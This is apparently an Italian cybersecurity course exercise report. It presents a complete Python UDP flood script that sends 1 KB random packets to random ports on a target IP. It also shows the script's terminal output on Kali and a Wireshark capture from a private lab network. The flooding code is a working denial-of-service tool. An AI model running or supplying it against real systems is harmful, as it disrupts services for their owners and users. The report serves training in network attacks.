W7D4 **6-2-2026**

Luca Danisi

TRACCIA

Scrivi un programma Python che simuli UDP flood, ovvero l invio massivo di richieste UDP, verso una macchina target che è in ascolto su una porta UDP casuale nel nostro (caso DoS).

SVOLGIMENTO

1) Codice :

```python
import socket
import random
# Carica i moduli per aprire il socket e generare numeri e dati casuali

# Ci viene chiesto di inserire il target IP e numero di pacchetti
target_ip = input("Inserisci l'IP target: ")
num_packets = int(input("Quanti pacchetti da 1 KB inviare: "))

# Creazione del socket UDP (sock_dgram) ipv4(af_inet)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Generazione di 1 KB di dati casuali
packet_size = 1024
random_data = random._urandom(packet_size)

# Invio dello stesso pacchetto a porta casuale
print(f"\nInvio di {num_packets} pacchetti da 1 KB a {target_ip} su porte casuali...")

for i in range(num_packets):
    # Genera una porta casuale tra 1 e 65535
    random_port = random.randint(1, 65535)
    # ogni pacchetto sarà inviato a una porta diversa
    sock.sendto(random_data, (target_ip, random_port))

    #mostra il progresso ogni 100 pacchetti
    if (i + 1) % 100 == 0:
        print(f"Inviati {i + 1} pacchetti su porte casuali...")

# Completato il ciclo mostra il riassunto di quello che è stato inviato e dove
print(f"\nCompletato! Inviati {num_packets} pacchetti totali su porte casuali.")
sock.close()
```

2) Avvio e verifica funzionamento programma :

```
PROBLEMS    OUTPUT    DEBUG CONSOLE    TERMINAL    PORTS

┌──(kali㉿kali)-[~/Desktop/Codice]
└─$ python PraticaW7D4.py
Inviati 700 pacchetti su porte casuali...
Inviati 800 pacchetti su porte casuali...
Inviati 900 pacchetti su porte casuali...
Inviati 1000 pacchetti su porte casuali...

Completato! Inviati 1000 pacchetti totali su porte casuali.
```

3) Cattura dati da Wireshark:

udp

No.	Time	Source	Destination	Protocc	Lengt	Info
982	23.34310…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 49698 Len=1024
983	23.34313…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 52574 Len=1024
984	23.34315…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 44013 Len=1024
985	23.34318…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 58054 Len=1024
986	23.34320…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 49516 Len=1024
987	23.34323…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 1028 Len=1024
988	23.34326…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 43445 Len=1024
989	23.34328…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 31292 Len=1024
990	23.34331…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 9427 Len=1024
991	23.34333…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 20903 Len=1024
992	23.34336…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 20759 Len=1024
993	23.34338…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 64143 Len=1024
994	23.34341…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 441 Len=1024
995	23.34344…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 40414 Len=1024
996	23.34346…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 26039 Len=1024
997	23.34349…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 26551 Len=1024
998	23.34351…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 62685 Len=1024
999	23.34354…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 62697 Len=1024
1000	23.34356…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 4388 Len=1024
1001	23.34359…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 51531 Len=1024
1002	23.34361…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 43577 Len=1024
1003	23.34364…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 57672 Len=1024
1004	23.34367…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 54085 Len=1024
1005	23.34369…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 43018 Len=1024
1006	23.34372…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 5290 Len=1024
1007	23.34375…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 15808 Len=1024
1008	23.34377…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 58024 Len=1024
1009	23.34380…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 18496 Len=1024
1010	23.34383…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 46930 Len=1024
1011	23.34385…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 11909 Len=1024
1012	23.34388…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 48685 Len=1024
1013	23.34390…	192.168.50.100	192.168.50.101	UDP	10…	38656 → 28852 Len=1024